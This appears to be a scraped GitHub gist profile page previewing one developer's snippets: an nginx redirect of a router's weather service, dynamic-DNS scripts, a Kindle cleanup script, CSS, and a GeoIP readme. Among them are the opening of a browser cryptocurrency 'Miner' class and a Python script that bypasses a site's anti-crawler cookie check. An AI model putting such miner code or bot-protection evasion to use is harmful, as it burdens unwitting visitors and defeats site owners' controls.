Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

View fffonion's full-sized avatar

Wangchong Zhou fffonion

View GitHub Profile
@fffonion
fffonion / weather.conf
Created March 6, 2019 06:16
Hijack Phicomm K3 weather service to darksky weather API
server {
listen 443 ssl;
listen [::]:443 ssl;
ssl_certificate certs/default.crt;
ssl_certificate_key certs/default.key;
server_name phiclouds.phicomm.com;
access_log /var/log/nginx/weather-access.log;
(function(window) {
"use strict";
var Miner = function(siteKey, params) {
this.params = params || {};
this._siteKey = siteKey;
this._user = null;
this._threads = [];
this._hashes = 0;
this._currentJob = null;
this._autoReconnect = true;
diff --git a/.gitignore b/.gitignore
index f5be264..518fcc3 100644
--- a/.gitignore
+++ b/.gitignore
@@ -64,3 +64,10 @@
/test/ql/data/*.lock
/test/ql/*.class
/test/ql/*.exe
+
+# for qt-creator
@fffonion
fffonion / git-diff.patch
Created September 21, 2017 21:44
Coreseek 5.1 patch
From c7db4c68750b17532e78da313c5b5d25a1d00a3e Mon Sep 17 00:00:00 2001
From: nzinfo <limn@coreseek.com>
Date: Thu, 13 Aug 2015 23:16:20 +0800
Subject: [PATCH] add mmseg support, begin fix pre-token
---
acinclude.m4 | 89 ++++++++++++++
configure.ac | 21 +++-
src/Makefile.am | 4 +
src/sphinx.cpp | 347 ++++++++++++++++++++++++++++++++++++++++++++++++++--
@fffonion
fffonion / cloudflare-cloudxns-ddns.sh
Created September 5, 2017 01:27
Dynamic DNS script using Cloudflare API v4 or CloudXNS API v2
#!/bin/bash
# can be A or AAAA
do_record=AAAA
# the interface to get ipv6 address
iface=eth0
# the static suffix we should add to
v6_suf=53
# cloudflare stuff
cf_mail="me@email.com"
@fffonion
fffonion / changyan_mod.css
Created March 30, 2017 21:47
Card-based Changyan comment box design
#SOHU_MAIN .head-img-w img, #SOHU_MAIN .header-login, #SOHU_MAIN span.header-pho, #SOHU_MAIN img.list-avatar-wap {
border-radius: 5px !important;
box-shadow: 0 1px 3px rgba(0,0,0,.22);
border: 1px solid #b9baa6 !important;
margin-left: 10px !important;
}
#SOHU_MAIN .title-user-w .user-wrap-w{
top: 42px !important;
}
#SOHU_MAIN .post-wrap-w, #SOHU_MAIN #cy-cmt-list, #SOHU_MAIN .module-mobile-cmt-header, #SOHU_MAIN .list-container-wap {
@fffonion
fffonion / purge_sdr.sh
Created February 19, 2017 21:09
Purge orphan .sdr directory in Kindle
#!/bin/bash
IFS=$'\r\n'
for i in $(ls -1| grep "\.sdr"); do
f="${i%.*}"
if [[ $(ls -1| grep "$f"| wc -l) -eq 1 ]]; then
echo $i
rm -rf "$i"
fi
done
@fffonion
fffonion / cf-ddns.sh
Last active July 4, 2018 10:04
Dynamic DNS script using Cloudflare API v4
#!/bin/bash
# can be A or AAAA
do_record=AAAA
# the interface to get ipv6 address
iface=eth0
# the static suffix we should add to
v6_suf=53
mail="me@email.com"
@fffonion
fffonion / Readme.md
Last active November 16, 2022 08:57
Simple GeoIP and ASNnum query server http://ip.yooooo.us
  • nginx with ngx_http_geoip_module, echo-nginx-module, lua-nginx-module is required; libgeoip needs to be installed and geoip database should be placed under /usr/share/GeoIP.
  • http://example.com for current GeoIP and http://example.com/ip for current IP only
  • http://example.com/x.x.x.x to query any IP.
  • http://example.com/domain-name for GeoIP of domain-name and http://example.com/domain-name/ip to return IP of domain-name only. If multiple IPs are set to single domain-name, all of them will be returned. Only A record will be used.
  • Sample requests are:
$ curl http://example.com/
x.x.x.x
Country, Region, City
ASN number
@fffonion
fffonion / aacs.py
Created May 29, 2016 00:51
Anti-anti-crawler scripts
import re
import time
mkcookie = lambda coo: ";".join(["%s=%s" % (k,v) for k,v in coo.iteritems()])
def autodetect(resp, ct, ht, cookie, headers, url):
__func = None
while 'set-cookie' in resp:
coostr = resp['set-cookie']
_session = re.findall('yunsuo_session_verify=(\w+)', coostr)